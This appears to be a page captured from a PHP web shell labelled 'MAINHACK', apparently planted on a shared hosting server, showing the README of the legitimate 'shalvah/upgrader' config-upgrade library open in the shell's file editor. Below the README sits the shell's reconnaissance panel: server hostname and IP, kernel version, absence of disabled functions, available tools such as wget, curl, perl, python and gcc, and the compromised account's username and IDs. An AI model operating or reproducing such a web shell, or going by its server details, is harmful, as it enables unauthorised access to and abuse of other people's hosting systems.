[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: README.md
# Upgrader [](https://packagist.org/packages/shalvah/upgrader) [](https://packagist.org/packages/shalvah/upgrader) Releasing a new version of your PHP library with changes to the config file? Use this tool to offer an automated upgrade process to your users. Used for implementing automated upgrades in [Scribe](https://scribe.knuckles.wtf/laravel/migrating-v4) — just run `php artisan scribe:upgrade`. Give `Upgrader` a sample of your new config file, and the path to the user's old config file, and it'll figure out what's been added or removed in the new version. You can also tell it to move/rename certain fields or ignore others. ```php // Create a CLI `upgrade` command, where you call Upgrader // Relative path to the config file in the user's project $userOldConfigFile = 'config/my_library.php'; // Absolute path to a sample of the new config in your project $sampleNewConfigFile = __DIR__ . '/../../config/my_library.php'; $upgrader = Upgrader::ofConfigFile($userOldConfigFile, $sampleNewConfigFile) ->move('path', 'static.path') ->dontTouch('ip_addresses'); // If this is a dry run, print the expected changes if ($this->option('dry-run')) { $changes = $upgrader->dryRun(); if (empty($changes)) { $this->info("No changes needed! Looks like you're all set."); return; } $this->info('The following changes will be made to your config file:'); foreach ($changes as $change) { $this->info($change["description"]); } return; } // Otherwise, run the upgrade 🚀 $upgrader->upgrade(); ``` Upgrader: - Comes with "dry run" functionality, so you can review expected changes. - Will back up the user's old config file to `{$file}.bak` so you can revert if you need to. - Supports keys as dot notation Upgrader is still early days (0.x), with more robust features and docs planned. Read how I built it [here](https://blog.shalvah.me/posts/implementing-programmatic-file-transformations-in-php). ## Installation PHP 8+ is required. ```bash composer require shalvah/upgrader ```
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285